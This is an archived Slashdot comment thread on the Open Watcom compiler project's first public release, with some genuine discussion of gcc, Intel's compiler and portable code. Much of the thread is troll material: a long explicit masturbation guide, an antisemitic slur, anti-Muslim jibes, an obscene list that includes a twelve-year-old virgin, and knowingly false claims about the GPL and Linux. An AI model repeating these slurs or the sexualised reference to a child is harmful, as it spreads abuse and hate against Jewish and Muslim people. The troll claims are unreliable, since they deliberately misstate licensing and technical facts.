Slashdot Mirror


Open Watcom Effort Makes First Public Release

epowers writes: "It's been a long time since /. ran this story, but a few days ago the Open Watcom Project made it's first public release. It's only a binary patch targeted at 11.0a/b owners, but it's still an important roadmark on the way to the planned full open source release of both the Watcom C/C++ and Fortran compilers. Most programmers, particularly game programmers, should remember the amount of prestige id software's DOOM generated for the Watcom compiler and the sudden proliferation of 32-bit DOS games with the tell-tale "DOS/4GW" startup banner. The download is available for free, but Open Watcom requests a $1-$50 donation to help support the development effort required to remove code Sybase doesn't own and to prepare the open source release."

225 comments

  1. What's this about? by Anonymous Coward · · Score: -1, Offtopic

    Do you really know? I don't know.

  2. Get some PRIORITIES by Anonymous Coward · · Score: -1, Flamebait

    The worst terrorist attack in recorded history occurred just over two weeks ago, and you people are discussing how but a few days ago the Open Watcom Project made it's first public release. It's only a binary patch targeted at 11.0a/b owners, but it's still an important roadmark on the way to the planned full open source release of both the Watcom C/C++ and Fortran compilers. My *god*, people, GET SOME PRIORITIES!!!

    1. Re:Get some PRIORITIES by dieragheads · · Score: -1, Offtopic

      hahaa man...you seem to be the only person to notice this. all the petty little insignificant things slashdot has posted up since then (sept 11th) seems to be mocking the seriousness of the event. i see things like "apple to stop aquatic GUIs"..i mean....come on...WHO THE FUCK CARES???? this is the last straw...slashdot is no longer my homepage....talk about GAY

    2. Re:Get some PRIORITIES by Anonymous Coward · · Score: -1, Offtopic

      You have been trolled.

    3. Re:Get some PRIORITIES by norculf · · Score: -1, Troll

      How hard can it be to troll a person who's user name is "dieragheads" and his user number is "522463"?

    4. Re:Get some PRIORITIES by Anonymous Coward · · Score: -1, Troll

      You completely missed the humorous, albiet somewht mocking tone of his post.

      I'm afraid you're the one who's been trolled.

    5. Re:Get some PRIORITIES by Anonymous Coward · · Score: -1, Offtopic

      Thank you, brother. I am the original "get some priorities" troll, and let me tell you, between needing to get a few hours of sleep each night and having my IP banned for 72 hours for trolling (of course, I have *many* to choose from, so it's only a minor problem and not even close to being a deterrent), it is sometimes hard to inject this troll into every single story. So I really appreciate the help in getting this "get some priorities" message out to the masses.

      Thank you for your cooperation, and have a nice day.

  3. Lol... by JoeLinux · · Score: 1

    Some of my favorite games ran in DOS 4GW....Syndicate Wars most specifically....That would be cool to play in Linux.... I think the idea of the Graviton Lance was a concept that most game engines haven't fully developed (Fire a weapon, and tendrils of energy fire in truly random directions (Not just immediate explosino area) creating collateral damage that could hinder your progress later in the game.) Not to mention that Syndicate Wars had one of the coolest openings ever made. And the concept that you were one of two plusungood factions was REALLY cool. No "heroic" marines vs. "evil" zerg, etc.

    ok..that's it. Party on. eletcron maces for EVERYONE!

    JoeLinux

    1. Re:Lol... by Anonymous Coward · · Score: 0

      It was actually the graviton gun, not the graviton lance. I think you're confusing it with the plasma lance, which was very cool, but not even close to the pure destructive power of the Graviton Gun.

  4. free? by jrockway · · Score: 1, Funny

    It's a free download but you have to pay for it? Doesn't sound too free to me. Reminds me of what we did to sell lemonade when I was a kid: "Free Lemonade, only 25 Cents!". :-)

    --
    My other car is first.
    1. Re:free? by dj28 · · Score: 2, Informative

      If you bothered to check the download page, you would see that you have the _option_ to donate. I am downloading it right now without having to donate. They just request that you do. No big deal.

    2. Re:free? by _Bean_ · · Score: 1

      Huh?
      You don't have to pay for it. They ask for donations but they don't make you pay anything.
      Seems like basic reading comprehension could help you out a lot.

    3. Re:free? by jrockway · · Score: 1

      heh, you think I check things before I complain? This is slashdot, man.

      --
      My other car is first.
    4. Re:free? by Anonymous Coward · · Score: -1, Flamebait

      what are you a fucking jew?

      That's some shit a hook nose kyke would pull.

    5. Re:free? by Anonymous Coward · · Score: 0

      > It's a free download but you have to pay for
      > it?

      You know, i could answer you, but here is a man
      having a *watery* mouth, and who will do better
      than I.

      GO at him RMS.

    6. Re:free? by BlowCat · · Score: 2
      Actually, you should check thing before you complain. Even if it's slashdot. Even if your nickname doesn't identify you. Even if you have enough karma. Even if checking things will take some time and your comment appears too late for the moderators to notice.

      It's about respect to those who read your comments. Ungrounded jokes may seem less offensive than obvious trolls, but not in the context of slashdot, where trolls are normally ignored, while the jokes like yours are not.

    7. Re:free? by Dog+and+Pony · · Score: 1

      That is the same as when getting Apple upgrades :)

    8. Re:free? by WatcomGuru · · Score: 1

      It is free. Since I am on the Openwatcom development team, I know what I am talking about

    9. Re:free? by howlingmad · · Score: 1

      If you were on the Open Watcom Team, you would not hide yourself behind a synonym. Wouldn't you?

      Markus

    10. Re:free? by WatcomGuru · · Score: 1

      I had no choice because this infernal SlashDot would not allow me my own name

    11. Re:free? by howlingmad · · Score: 1

      Fortunately i took the early-bird access. :-)

      Markus

  5. Hows this for a donation? by SaxMaster · · Score: -1, Offtopic

    That bitch can DOS/4GW my nuts anytime. Just ask the goatsex guy, she does a really good job.

    --
    "Dancing is the vertical expression of a horizontal desire" --Robert Frost
  6. FOR THE LONELY SLASHDOTTER (THIS MEANS YOU!) by Anonymous Coward · · Score: -1, Flamebait

    THE ULTIMATE GIF VIEWING ACCESSORY!

    The other day I found an amusing and informative text file on
    some BBS or other, explaining how to make a lifelike, artificial
    vagina "out of common household products."
    Hey, I thought, I've tried that. (Bet you have, too. Be honest.)
    I was intrigued.
    The guy who wrote it calls his device Porta-Pussy. It involves a
    mailing tube, a string, and a balloon. Basically, you lower the
    balloon into the tube, stretch the neck of the balloon to overlap
    the outer edge of the tube, then use the string to stretch the
    balloon down the length of the tube.
    He suggests taping the tube to the edge of a table, kneeling down
    and licking it for a while, then standing up and fucking it.

    I just tried fucking it. It wasn't bad. I decided not to try the
    advanced applications, though, which include sticking a dildo up
    your ass and drinking the cum as it leaks out of the tube. Another
    time, maybe.
    But I did admire his imaginative design; simple to make, reasonable
    facsimile, easy cleanup (throw away the balloon). His description
    made fun reading, too; "How I Spell Relief." I encourage others to
    download his file (called IWACK1.ZIP).

    So, in a spirit of sharing, here's my technique. It doesn't look
    as authentic as his, and it takes more preparation, but I think
    it feels MUCH closer to the real thing. Close your eyes and the
    PseudoCunt (this name just occurred to me; snappy, huh?) feels
    just EXACTLY like a warm, wet, tight pussy.
    You think I'm kidding, right? Nope. Read on, if you're so inclined.

    CONTENTS:

    1- Registration

    2- Materials & Ingredients

    3- Construction

    4- How to Use

    5- Hints & Techniques

    6- Troubleshooting

    7- Why I Created PseudoCunt

    REGISTRATION:

    Ha, ha. Get it? It's software. Real soft. If you figure
    out who I am, send me some money. PseudoCunt is not
    shareware, by the way. It's recommended for use alone.

    MATERIALS & INGREDIENTS:

    * Cylindrical container (see below)

    * Large pot (3-4 quart capacity)

    * Butter or margarine (2-3 tablespoons)

    * Vegetable oil (just a drop or two)

    * Saran Wrap or equivalent

    * Spaghetti or fettucini (lots; two boxes)

    * Sturdy rubber band

    * Several big, firm sofa cushions (optional)

    * Your favorite masturbation fantasies in magazine, video,
    gif, or virtual form

    CONSTRUCTION:

    1- Find a suitable container. This is the tough part. The
    best one I've found is an overlarge Mason-type jar (about
    11" tall), though these are hard to find. Second choice
    would be a length of PVC pipe sealed at one end, or a
    mailing tube, but it should be at least five inches in
    diameter. A half-gallon cardboard milk carton might work,
    with clever modifications.

    2- In a large pot, bring two or three quarts of water to
    full boil. Add a tablespoon of vegetable oil and a pinch of
    salt. Boil spaghetti to aldente texture (about 8 minutes).
    Any pasta will do, but I find spaghetti and fettucini most
    satisfactory.

    3- Drain spaghetti, but do not rinse. Mix in A FEW DROPS of
    vegetable oil (be CAREFUL not to use too much; use just
    enough to keep the spaghetti from sticking together) and
    stir well. Set aside in colander until cool enough to handle.

    4- While spaghetti is cooling, melt some butter (not much; about
    1/3 of one of those little butter pats you get with toast in
    a diner is enough). Don't let it boil; 15-30 seconds in the
    microwave should do it.

    5- Stuff spaghetti into the container described in Step 1.
    Really pack it in tightly; as tight as you can cram it in.
    This is crucial to success. I use wooden cooking implements
    to tamp it down. When the jar is about 3/4 full, bore a hole
    down the center with something long and moderately thin (I
    use the long handle of a wooden stirring spoon) and continue
    packing spaghetti around it, up the brim. Remember to pack
    tightly; spaghetti will compress a lot more than you'd think.

    6- At this point, remove the rod or dowel or whatever, and
    pour a SMALL amount of melted butter down into the little
    hole to lubricate it. (By the way, I've found that butter or
    margarine feels much more like the creamy inside of an
    aroused cunt than any kind of oil; and I've tried quite a
    few). Stick your finger in and work the lubrication down
    into the little hole. Feels interesting, doesn't it? Close
    your eyes and probe, slowly; does that feel just EXACTLY
    like a wet pussy hole, or what?

    7- Now, use something wider and slightly tapered to widen the
    mouth of the surrogate vagina (I use the neck of a wine or
    beer bottle). Do this gently, and don't widen it to your
    full dick diameter; you want it to be nice and tight.

    8- Cut a generous length of Saran Wrap and stretch it tightly
    over the mouth of the jar. Fasten it tightly with the
    rubber band. Now punch a hole in the Saran Wrap in the
    obvious place. (Use a pencil, or a spoon handle, not a
    knife; a sharp cut will make the Saran Wrap tear.)

    HOW TO USE:

    1- Pile two or more big, thick sofa cushions on top of each
    other. Make an identical pile next to the first, leaving a
    12-inch space between the two piles.

    2- In the space between the cushions, spread a towel (or
    newspaper) on the floor. If properly constructed, your
    PseudoCunt should not make a mess unless you really get
    carried away, but it's a good idea to protect against this
    possibility.

    3- Position the PseudoCunt jar on the floor between the two
    cushion piles.

    4- Lie across the cushion piles, chest on one, thighs on the
    other, dick dangling in the space between. Now, gaze lovingly
    at whatever fantasy object you prefer, tease the head of your
    dick against the warm, slick mouth and begin fucking.

    HINTS AND TECHNIQUES:

    * Before you get started, check with your finger to make
    sure your PseudoCunt has cooled to the proper temperature.
    You don't want to burn yourself. Optimum temperature should
    be obvious if you're a reasonably sexually active person.
    Push your finger in as deeply as you can; the bottom of the
    jar may be too hot even though the mouth is a nice, warm,
    cuntlike temperature.

    * The PseudoCunt is not recommended for quickies. Choose a
    time when you're absolutely certain you'll be alone and
    undisturbed. PseudoCunt takes some time to prepare, and a
    fair amount of what's called in cinema and theater circles
    'suspension of disbelief.' It can't be fully enjoyed if
    you're worried about your wife or girlfriend walking in and
    finding you fucking a jar of spaghetti.

    * Size of the container is important. Make sure it is at
    least two inches deeper than your dick is long, and wide
    enough so that your dick is surrounded by a generous cushion
    of pseudo cuntflesh. You don't want to bang up against the
    hard sides or bottom of the thing at a crucial moment.

    * Shape of the container is important, too. I like the jumbo
    jar configuration because the "shoulders" of the jar where
    the neck narrows help to keep the spaghetti in place when
    you withdraw on the out-strokes.

    * Don't use too much butter. A very small amount should suffice.
    Remember that your own secretions will increase the lubricating
    effect. It's not generally recognized that grease and oils
    actually DE-sensitize erectile tissue. A thin coat of oil on
    your dick is like wearing a condom. I find that the absolutely
    perfect effect is achieved by adding just a *tiny* amount of
    butter, then slathering saliva all over my dick just before
    first penetration. The combination of butter, saliva and natural
    lubrication that leaks from your dick feels closer to authentic
    vagina arousal than any oil I've ever tried.

    * Make adequate preparations. Arrange your favorite magazines
    on the floor in front of you, or display a particularly
    fascinating GIF, or make sure the VCR is cued up and the
    remote is handy. One of the real joys of using PseudoCunt is
    that it leaves both hands free to work the VCR remote or
    languidly browse through magazines, savoring the tight cunt
    sucking wetly at your dick with each slight movement of your
    hips. With careful preparation it's a damned comfortable
    position, and you can just lie there for as long as you please,
    indulging as many fantasies as your self-control will allow.

    * For best results, fuck slowly and gently on first
    penetration. This allows the PseudoCunt hole to adjust to
    the proper diameter.

    * Don't ram your dick in to the bottom at first. Go slowly,
    and try to restrain yourself as long as possible, fucking a
    just a little deeper at a time. Each time you stroke a
    little deeper, the PseudoCunt is a little tighter, and
    incrementally warmer. The sensation is fabulous if prolonged.
    I like to keep the last inch or so unpenetrated until I'm
    just at the point of cumming, then grunt and howl and plunge
    to the bottom and blast my sperm into the tight warmth deep
    down inside.

    * Sound effects, if authentic, can really heighten the effect.
    Porn videos just don't do it for me. Too contrived. I have a
    few audio tapes that do, though, and once in a while I'll put
    on the headphones while fucking my Pseudocunt. One is a tape
    I made by concealing the microphone in the headboard of the
    bed before fucking my wife doggy-style (you should consider
    trying this; it's incredibly arousing to hear the rutting
    grunts and screams of a woman you know). The rest are
    recordings of phone-sex conversations with two former
    girlfriends -- one in particular, whose panting and gasping
    and whimpering as she masturbates is truly phenomenal.

    * Shed all inhibitions. Admit to yourself that, while this may
    seem truly bizarre behavior, it feels incredibly good. Get
    hedonistic. Get totally naked. Or wear leather, or panties
    and a bra, or clothespins on your scrotum, whatever makes your
    dick throb and ooze.

    TROUBLESHOOTING

    If you experience problems with your PseudoCunt, the fault most
    likely lies in your choice of materials, or lack of attention to
    proper construction techniques.

    Commonly experienced problems usually have simple solutions:

    Too hot for comfort

    If too hot, allow to cool at room temperature. Don't get
    impatient and put it in the freezer, or outside in a
    snowbank. If it cools unevenly, you're in for a very
    unpleasant surprise.

    Not warm enough

    If too cool, place jar in a pan of water on the stove and
    simmer for at least 30 minutes. To spread heat more evenly,
    make sure the water covers at least 2/3 of the jar, and
    place a wire rack beneath the jar to raise it off the bottom
    of the pan. If a glass jar is used, you can heat it in a
    microwave oven for a minute or so. [This procedure is not
    recommended if using a waxed cardboard milk carton.]

    These heating techniques, by the way, are handy for repeated
    use of your PseudoCunt between washings, unless you're too
    squeamish for sloppy seconds.

    It's also occurred to me that a hair dryer might be a quick
    alternative, but I haven't tried this. I'm not sure I could
    maintain a hardon or a straight face kneeling there naked
    and blow-drying a jar of spaghetti.

    Bits of greasy spaghetti cling to your dick on withdrawal

    This is normal. While the problem cannot be eliminated
    entirely, the effect can be minimized by several means:

    1- Make sure spaghetti is packed in VERY tightly.

    2- Use a high-shouldered jar (see above) to help keep
    the spaghetti in place on the out strokes.

    3- Make sure hole in Saran Wrap is not too large.
    Punch, do not cut, this hole to prevent tearing.

    PseudoCunt makes distracting slurping noises

    You used too much butter, or oil, or both. Or you've gang-
    banged your PseudoCunt one too many times and you need to
    clean it out and start over again at Step 2.

    Of course, if you want to fantasize about oral sex, this
    could be regarded as a design feature rather than a problem.

    Greasy stains on sofa cushions

    My wife responds to greasy stains on upholstery by
    immediately dumping a big pile of talcum powder on the
    spill, letting it sit for a while, vacuuming it off later,
    then calling in a professional furniture cleaner to finish
    the job.
    I try to avoid stains by making sure the Saran Wrap is
    tightly secured with the rubber band, and by spreading a
    towel over the leading edge of the sofa cushion pile. I'd
    rather not have to explain PseudoCunt stains to my wife.

    Fetid stench

    Throw away the spaghetti and wash the damn thing. Unless
    mold and bacteria growth play an essential role in your
    sexual fantasies, repeated use of the PseudoCunt is not
    recommended beyond, say, 24 hours. Refrigerate after use.

    WHY I CREATED PSEUDOCUNT

    No, I'm not a social outcast or a phobic recluse. I have a
    normal sex life (pretty fabulous, actually) so I should
    explain why I continued to experiment with masturbation
    techniques in adulthood, long after abandoning the clumsy
    remedies most teens invent to draw off excess spunk.
    One reason is simply that I'm a very sensuous person with a
    vivid imagination. I've found that I can occasionally attain
    amazing heights of sexual arousal when I masturbate. At the
    risk of sounding immodest, I've induced some of the best
    orgasms I've ever had.
    Another reason is that I am aware of absolutely no physical
    or psychological reasons not to masturbate, and can't help
    wondering if the world might not be a better place if more
    people did. Whether they use fists or balloons or spaghetti.

    Finally, it provides a fabulous way to indulge certain sexual
    fantasies that just can't be shared no matter how skilled and
    understanding one's lover may be. Know what I mean?
    If you're inclined to give this thing a try, I hope it
    enhances your own secret fantasies as much as it does mine.
    If you have a technique of your own, write it up and post it
    for others to share. If you find the whole concept disgusting,
    why did you read this far?

    1. Re:FOR THE LONELY SLASHDOTTER (THIS MEANS YOU!) by Anonymous Coward · · Score: -1, Offtopic

      its been so long since ive read that

      thank you, ac, for posting

  7. Party TIME!! by Anonymous Coward · · Score: -1, Offtopic

    A case of beer

    Some acid

    Three gerbils

    Duct tape

    Two young goats

    A twelve-year old virgin

    Nipple clamps

    Four enema bags

    Styrofoam penuts

    A lot of lube

    And a cardboard cutout of George W. Bush

    Oooh boy am I gonna have fun tonight!!

  8. I got it! by Pr0n+K1ng · · Score: -1

    Even though there's other posts here, mine was first!!!! Get it in ya!

    --

    Oh well, back to dowloading pr0n...

    Pr0n K1ng

  9. Suck my COCK by Anonymous Coward · · Score: -1, Troll

    The biggest cock in recorded history occurred just over my balls, and you people are trolling slashdot telling people to get some priorities. My *god*, people, SUCK MY COCK!

  10. Hmm by cdraus · · Score: 5, Informative

    They say (on the webpage) that a version is planned for Linux. Do we really need another C/C++ compiler for linux? We'd just end up with the trouble we had on DOS with people writing silly compiler dependent code and everything a big mess.

    1. Re:Hmm by Anonymous Coward · · Score: 1, Informative

      Because gcc crashes when you try to pass more than 32 megabytes on the stack.

    2. Re:Hmm by reynaert · · Score: 5, Insightful

      People are already writing very gcc-specific code for Linux. I've often seen that installation instructions for other Unices begin with 'install gcc'.

    3. Re:Hmm by jkthatcher · · Score: 1

      People programming on DOS didn't have such benefits from the internet and collaborative development/open standards we have today.

      You said it yourself, compiler dependent code is silly. Having Watcom for Linux will only make it easier for software houses to port their silly Watcom stuff, so I'm all for it.

    4. Re:Hmm by drinkypoo · · Score: 2, Insightful
      Do we really need another C/C++ compiler for linux? We'd just end up with the trouble we had on DOS with people writing silly compiler dependent code and everything a big mess.

      People won't have to write compiler-dependent code to take advantages of the 386-set optimizations in the Watcom compiler. Many people will, no doubt, but eventually gcc will support that code, too, if "the people" want it.

      --
      "You're right," Fisheye says. "I should have set it on 'whip' or 'chop.'"
    5. Re:Hmm by Anonymous Coward · · Score: 0

      this fellow is dead on. i remember that the bad habits i learned from the watcom compiler took a long time to shake, and not only that, everything i wrote with djgpp was twice as fast as the same thing done using watcom... besides, djgpp had more libs that worked out-of-the-box.

      screw watcom.

    6. Re:Hmm by Anonymous Coward · · Score: 1, Interesting

      yes, we do need another C/C++ compiler for linux.

      The only C compilers for linux are gcc, lcc, and one from intel.

      lcc is great for learning about compiler design (that's why it was created), but it doesn't optimize very well, hasn't been stress tested in a real world environment, and has odd licensing issues (you can get the source code for free, but if you want to compile a program and sell it, you need to include a copy of the book as well). Also, the 2 authors are currently Microsoft employees, so you are at the mercy of Redmond.

      gcc is the "defacto" standard, but the inline assembler is only slightly less painful than having your asshole ham-slammed to goatse.cx proportions. Also, the since it's licensed under the restrictive GPL license, any programs it compiles contain GPL-licensed code, which makes it impossible to compile and sell closed-source programs with it, unless you pay the "stallman tax", which is one reason commercial linux apps are rarer than pork-eating muslims. Also, gcc is big, slow, requires lots of resources, and produces mediocre code.

      Intel's c/c++ compiler is rumored to produce blazingly fast code. However, it is a commercial product, so no linux user has ever used it, and no one really knows if it exists or not.

      So yes, another C/C++ compiler would be a good thing for linux.

    7. Re:Hmm by Anonymous Coward · · Score: 1, Informative

      What the fuck are you whining about? You obviously don't know anything about the subject. The Wacom compilers are some of the most ANSI compliant compilers in existance. The C++ 11.0 compiler produces better code then gcc. BTW 11.0 was released in the 90s, well after the "internet" revolution, though what that has to do with anything, I can't for the life of me figure out. You must be doing drugs. Any software house that selected the Wacom compiler did so because they were not decived by the Borland IDE/MS Visual C++ hype.

    8. Re:Hmm by Anonymous Coward · · Score: 0

      Also, the since it's licensed under the restrictive GPL license, any programs it compiles contain GPL-licensed code, which makes it impossible to compile and sell closed-source programs with it, unless you pay the "stallman tax", which is one reason commercial linux apps are rarer than pork-eating muslims.

      Very nice troll. I almost didn't catch this one.

    9. Re:Hmm by Anonymous Coward · · Score: 0

      And don't forget about modularity. Programmers could easily develop the core algorithms libraries with the most speed optimizing compiler (Watcom?) and leave everything else untouched.
      IMO it's a good thing.

    10. Re:Hmm by jkthatcher · · Score: 1

      Okay, I was hoping this would be obvious, but by 'compiler dependent' I was referring to non-portable parts of the product. This would of course include the assembler, and any specific tools/libs.

    11. Re:Hmm by BlowCat · · Score: 5, Insightful
      Your question contains the answer. We need another compiler for Linux so that the developers could check that they didn't occasionally wrote any "silly compiler dependent code" without having to reboot or to login to a box with the other compiler.

      Actually, more often the code is not silly, it's just that some compilers accept some quirky code, and the others don't.

    12. Re:Hmm by Anonymous Coward · · Score: 0

      There is still plenty of value in having more code available, especially code that has been worked on by a talented team of developers for several years. If they're lucky, the GCC team can use portions of this code, or at least learn a couple of tricks that may not have occured to them before.

      More code, especially well-crafted code, is always useful.

    13. Re:Hmm by John+Miles · · Score: 3, Funny

      Because gcc crashes when you try to pass more than 32 megabytes on the stack.

      "Doctor, doctor. It hurts when I do this!"

      --
      Dahlmann tightly grips the knife, which he may have no idea how to use, and steps out into the plain.
    14. Re:Hmm by sydbarrett74 · · Score: 2, Insightful

      COnsidering that the quality of code produced by GCC is generally inferior to that produced by closed-source alternatives, I welcome an alternative. If the licence Sybase chooses is friendly, maybe sections can be lifted out to make GCC better, or maybe a hybrid that contains best-of-breeds. And this is by no means meant to be a troll or flamebait. I admire the many people who maintain the GCC codebase, but the general consensus amongst many is that its emitted code is not yet on a par with such compilers as Watcom and Borland (hence the importance of Kylix in its C++ version).

      --
      'He who has to break a thing to find out what it is, has left the path of wisdom.' -- Gandalf to Saruman
    15. Re:Hmm by amccall · · Score: 3, Informative
      The Commercial Intel compiler for Linux is not only available, but extremely functional. At one point I had a time limited Beta release on my computer, which compiled programs just fine. (After some hassles over licensing.)

      The commercial version is not extremely unreasonable in price, the main disadvantage in it is that it is not completely compatible with gcc, so you can't go and recompile all the packages on your system with it.

      Here's a link to Intel's page for it, I believe you can get an evaluation version from them here

      A free version is here for non commercial use is here.

      --
      ------ 24.5% slashdot pure
    16. Re:Hmm by klmth · · Score: 1

      Pushing vast amounts of data on the stack is a bad, bad, bad idea. Use dynamic memory allocation - that's what it's there for.

    17. Re:Hmm by Anonymous Coward · · Score: 0

      32 megabytes on the stack. Ok. Is this a troll? Are you retarded? What could the answer be...

    18. Re:Hmm by Anonymous Coward · · Score: 0

      Watcom's code output is good. Really good. Especially compared to gcc. But by no means is it "the most speed optimizing compiler." There ARE languages other than C. :) And there ARE compilers other than Watcom and gcc. :)

    19. Re:Hmm by Anonymous Coward · · Score: 0

      Intel's c/c++ compiler is rumored to produce blazingly fast code. However, it is a commercial product, so no linux user has ever used it, and no one really knows if it exists or not.

      Yes! Supposedly not only does the compiler produce excellent code, the library that comes with it is a piece of art! I also got the impression that the library is not limited to their compiler either. Can somebody give some information on this??? Too bad it doesn't support more platforms.

    20. Re:Hmm by Anonymous Coward · · Score: 0

      There's a port of the open-source Amiga ANSI C compiler VBCC to Unix, too. It's a competent pure ansi C compiler.

      Also, the since it's licensed under the restrictive GPL license, any programs it compiles contain GPL-licensed code, which makes it impossible to compile and sell closed-source programs with it.

      No, you're WRONG there. It's perfectly legal to use GCC for proprietary applications - 99% of devlopers in the embedded world do that, for example (the other 1% are thinking about quitting, since they're stuck arguing with their PHB about having to shoehorn wince into their device, after the PHB had a great golf game with teh "nice" microsoft rep.)

    21. Re:Hmm by alannon · · Score: 2

      Hmm... Maybe try the -ansi flag in gcc? In ANSI mode, it will error on any gcc-specific code.

    22. Re:Hmm by jasoegaard · · Score: 1

      They are doing it on purpose.

      --
      -- A Mathematician is a machine for turning coffee into theorems. - Paul Erdös
    23. Re:Hmm by Anonymous Coward · · Score: 0

      There's also the KAI compiler, although I am not sure if Intel uses parts of it in their own compiler now that they own Kuck & Associates (the makers of the KAI compiler). I think you can also get a Linux version of the Comeau compiler, and perhaps from the Portland Group too.

    24. Re:Hmm by mr3038 · · Score: 1
      instructions for other Unices begin with 'install gcc'

      Well, it's not necessarily due lazy programmers, but braindead compilers/libraries. For example there's no way I'd release any softwere using sprintf instead of snprintf. Do you have any idea how much less format string exploits there would be with the n-version? Usually those instructions require gcc because many of those default compilers simply suck.

      Of course there's also software that requires gcc because the writer is lazy, but in those cases there're probably no instructions for 'other Unices'.

      If there were Watcom compiler for Linux with latest C++ standard support, I might use it instead of gcc.

      --
      _________________________
      Spelling and grammar mistakes left as an exercise for the reader.
    25. Re:Hmm by be-fan · · Score: 2

      Actually, Intel's C++ compiler is the most optimizing. Both VisualC++ and ICL overtook watcom around version 10.5.

      --
      A deep unwavering belief is a sure sign you're missing something...
    26. Re:Hmm by be-fan · · Score: 2

      Also, Intel C++ for Linux is free for non-commercial use, so the licensing isn't *that* draconion.

      --
      A deep unwavering belief is a sure sign you're missing something...
    27. Re:Hmm by dvdeug · · Score: 2

      Nope. From the manual:

      The `-ansi' option does not cause non-ISO programs to be rejected gratuitously. For that, `-pedantic' is required in addition to `-ansi'. *Note Warning Options::.

      `-pedantic'
      Issue all the warnings demanded by strict ISO C and ISO C++; reject all programs that use forbidden extensions, and some other programs that do not follow ISO C and ISO C++. For ISO C, follows the version of the ISO C standard specified by any `-std' option used.

    28. Re:Hmm by Anonymous Coward · · Score: 0

      snprintf is a library function, thus a matter of libc, not gcc.
      If you lack it, for some odd reason, there are freely available implementations for use with any compiler.

      http://www.ijs.si/software/snprintf

    29. Re:Hmm by Anonymous Coward · · Score: 0

      It's not as compliant as g++. As for the efficiency of generated code, most compilers tend to be better than gcc.

    30. Re:Hmm by Anonymous Coward · · Score: 0

      There are at least two freely available C compilers for linux: lcc and TenDRA. Use google to find them.

      If you want to avoid compiler dependant code use gcc's -Wall and lclint. Nuff said.

    31. Re:Hmm by dvdeug · · Score: 2

      >> For example there's no way I'd release any softwere using sprintf instead of snprintf . Do you have any idea how much less format string exploits there would be with the n-version? Usually those instructions require gcc because many of those default compilers simply suck.

      GCC doesn't implement sprintf and snprintf; that's done in the C library. Any half-decent C compiler should support snprintf as well as sprintf if the C library supports them, and GCC won't save you if the C library doesn't.

    32. Re:Hmm by Anonymous Coward · · Score: 0
      Actually there're quite some compilers already like Comeau and KAI, aside from others. GNU gcc is the most common yet not the best available.

      If people write compiler specific code then this is their problem as this is neither C nor C++ anymore and tolerating this is only going to make things worse. Of course everyone is still free to distribute binaries and, since gcc is the most common compiler, even specific code should not cause much problems. Still for commercial products one may prefer to have a better compiler available. It's is an option after all and using one compiler does not exclude the other.

    33. Re:Hmm by howlingmad · · Score: 1

      Huh? Because developers have alternatives to test against, they write compiler dependent code? I hope this was not the message of your comment.
      Don't know how you're doing development but i'm using as much compilers as i can get to compile my sources. I have a bad feeling just using one compiler. This includes gcc and Watcom as well.

      Markus

    34. Re:Hmm by drinkypoo · · Score: 1
      Who ever said that it was the most speed optimizing? Not me. You must be responding to the wrong comment or something.

      For portable code, building with watcom rather than gcc should provide a speed boost without having to bring your application into a different language, since most software is written in C, Obj-C, or C++ these days, after all.

      --
      "You're right," Fisheye says. "I should have set it on 'whip' or 'chop.'"
    35. Re:Hmm by duffbeer703 · · Score: 2

      Part of the all-encompassing freedom that comes with the GNU system and it's compiler is the freedom to be forced to use gcc.

      Writing code that only compiles on the GNU C compiler is actually freeing the huddled masses of computer users the horror of using closed-source, arch-capitalist compiler products.

      --
      Conformity is the jailer of freedom and enemy of growth. -JFK
  11. Cocksucking TIME!! by Anonymous Coward · · Score: -1, Offtopic
    • A case of penis
    • Some dick
    • Three cocks
    • Dick tape
    • Two young goats with big penises
    • A twelve-year old virgin with a big cock
    • Cock clamps
    • Four dick bags
    • Styrofoam penises
    • A lot of cock
    • And a cardboard cutout of George W. Bush's dick

      Oooh boy am I gonna suck some cock tonight!!
  12. DISRGUARD THAT^ MESSAGE, IT CAN BE DOWNLOADED FOR by dieragheads · · Score: -1, Offtopic

    asd f gaw daf a sdif die

  13. MY EXPERIENCE WITH LINUX!! by egg+troll · · Score: -1

    I work as a consultant for several fortune 500 companies, and I think I can shed a little light on the climate of the open source community at the moment. I believe that part of the reason that open source based startups are failing left and right is not an issue of marketing as it's commonly believed but more of an issue of the underlying technology.

    I know that that's a strong statement to make, but I have evidence to back it up! At one of the major corps(5000+ employees) that I consult for, we wanted to integrate Linux into our server pool. The allure of not having to pay any restrictive licensing fees was too great to ignore. I reccomended the installation of several boxes running the new 2.4.9 kernel, and my hopes were high that it would perform up to snuff with the Windows 2k boxes which were(and still are!) doing an AMAZING job at their respective tasks of serving HTTP requests, DNS, and fileserving.

    I consider myself to be very technically inclined having programmed in VB for the last 8 years doing kernel level programming. I don't believe in C programming because contrary to popular belief, VB can go just as low level as C and the newest VB compiler generates code that's every bit as fast. I took it upon myself to configure the system from scratch and even used an optimised version of gcc 3.1 to increase the execution speed of the binaries. I integrated the 3 machines I had configured into the server pool, and I'd have to say the results were less than impressive... We all know that linux isn't even close to being ready for the desktop, but I had heard that it was supposed to perform decently as a "server" based operating system. The 3 machines all went into swap immediately, and it was obvious that they weren't going to be able to handle the load in this "enterprise" environment. After running for less than 24 hours, 2 of them had experienced kernel panics caused by Bind and Apache crashing! Granted, Apache is a volunteer based project written by weekend hackers in their spare time while Microsft's IIS has an actual professional full fledged development team devoted to it. Not to mention the fact that the Linux kernel itself lacks any support for any type of journaled filesystem, memory protection, SMP support, etc, but I thought that since Linux is based on such "old" technology that it would run with some level of stability. After several days of this type of behaviour, we decided to reinstall windows 2k on the boxes to make sure it wasn't a hardware problem that was causing things to go wrong. The machines instantly shaped up and were seamlessly reintegrated into the server pool with just one Win2K machine doing more work than all 3 of the Linux boxes.

    Needless to say, I won't be reccomending Linux/FSF to anymore of my clients. I'm dissappointed that they won't be able to leverege the free cost of Linux to their advantage, but in this case I suppose the old adage stands true that, "you get what you pay for." I would have also liked to have access to the source code of the applications that we're running on our mission critical systems; however, from the looks of it, the Microsoft "shared source" program seems to offer all of the same freedoms as the GPL.

    As things stand now, I can understand using Linux in academia to compile simple "Hello World" style programs and learn C programming, but I'm afraid that for anything more than a hobby OS, Windows 98/NT/2K are your only choices.

    thank you.

    --

    C - A language that combines the speed of assembly with the ease of use of assembly.
    1. Re:MY EXPERIENCE WITH LINUX!! by Anonymous Coward · · Score: -1, Troll

